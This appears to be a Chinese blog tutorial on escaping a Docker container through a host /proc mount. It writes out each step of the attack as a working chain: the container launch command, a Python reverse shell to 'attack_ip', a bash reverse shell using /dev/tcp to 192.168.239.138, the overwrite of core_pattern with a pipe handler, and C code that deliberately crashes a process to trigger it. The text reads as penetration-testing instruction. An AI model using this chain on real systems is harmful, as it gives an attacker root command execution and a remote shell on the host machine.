当前位置: 首页 > news >正文

Docker逃逸---procfs文件挂载

一、产生原因

将宿主机/proc目录挂载进了容器,而该目录内的/proc/sys/kernel/core_pattern文件是负责进程奔溃时内存数据转储的,当第一个字符是| 管道符时,后面的部分会以命令行的方式进行解析并运行,攻击者可以将恶意文件写入该文件,同时运行进程崩溃代码,执行恶意文件

二、利用条件

1、容器内挂载了宿主机的/proc目录

2、容器以root权限运行

三、复现过程

1、启动容器,挂载/proc目录

docker run  -itd -v /proc:/etc_proc --name=docker_escape ubuntu:18.04 /bin/bash

2、寻找容器在宿主机上的目录路径

cat /proc/mounts | grep docker

这就是容器在宿主机上的目录路径 

我们在容器内创建的文件最终都会保存在宿主机中 

3、写反弹shell脚本到/tmp目录下

这里可以写Python,也可以写shell脚本

Python:

root@8ba918290061:/# cat >/tmp/.x.py << EOF
> #!/usr/bin/python
> import os
> import pty
> import socket
> lhost = "attack_ip"
> lport = 10000
> def main():
>     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>     s.connect((lhost, lport))
>     os.dup2(s.fileno(), 0)
>     os.dup2(s.fileno(), 1)
>     os.dup2(s.fileno(), 2)
>     os.putenv("HISTFILE", '/dev/null')
>     pty.spawn("/bin/bash")
>     os.remove('/tmp/.x.py')
>     s.close()
> if __name__ == "__main__":
>     main()
> EOF

需要容器内有Python环境 

 shell:

#!/bin/bashbash -i >& /dev/tcp/192.168.239.138/2333 0>&1

最后别忘了加执行权限

chmod +x /tmp/exp.sh

4、在文件中/proc/sys/kernel/core_pattern 写入恶意文件

root@8ba918290061:/# echo -e "|/var/lib/docker/overlay2/629ba8f61b2311847d094297a0020d1f899d3072d9e82a12496ff2a919928963/diff/tmp/exp.sh \rcore           " > /etc_proc/sys/kernel/core_pattern

写入后,当进程崩溃后,该文件内管道符| 后的文件会被执行,从而执行了我们的exp.sh文件,反弹shell

5、执行c代码,使进程崩溃

#include<stdio.h>
int main(void)  {int *a  = NULL;*a = 1;return 0;
}

最后加执行权限,编译后执行

chmod +x payload.c
gcc payload.c -o payload
./payload

成功反弹shell 

http://www.lryc.cn/news/194100.html

相关文章:

  • [Python小项目] 从桌面壁纸到AI绘画
  • 【Docker 内核详解】namespace 资源隔离(五):User namespaces
  • 网络原理必知会
  • ELK 日志分析系统介绍与部署
  • Android 内存治理之线程
  • 三、K8S之ReplicaSet
  • 【基础篇】四、本地部署Flink
  • 简述什么是迭代器(Iterator)?
  • DarkGate恶意软件通过消息服务传播
  • LeetCode——动态规划篇(六)
  • sql 注入(2), 文件读写 木马植入 远程控制
  • 求直角三角形第三点的坐标
  • 【Kotlin精简】第3章 类与接口
  • 关于面试以及小白入职后的一些建议
  • Excel 从网站获取表格
  • rsync 备份工具(附rsync+inotify 实时同步部署实例)
  • Java架构师缓存性能优化
  • 探索服务器潜能:创意项目、在线社区与其他应用
  • 「网络编程」网络层协议_ IP协议学习_及深入理解
  • Go 1.21 新内置函数:min、max 和 clear
  • 家居行业如何打破获客困局?2023重庆建博会现场,智哪儿AI营销第一课给出了答案
  • Spring framework Day11:策略模式中注入所有实现类
  • MBBF展示的奇迹绿洲:5G的过去、此刻与未来
  • 加持智慧医疗,美格智能5G数传+智能模组让就医触手可及
  • Stm32_标准库_14_串口蓝牙模块_手机与蓝牙模块通信_实现模块读取并修改信息
  • UDP 的报文结构
  • torch.hub.load报错urllib.error.HTTPError: HTTP Error 403: rate limit exceeded
  • 测试左移右移-理论篇
  • 【TensorFlow2 之015】 在 TF 2.0 中实现 AlexNet
  • Python进阶之迭代器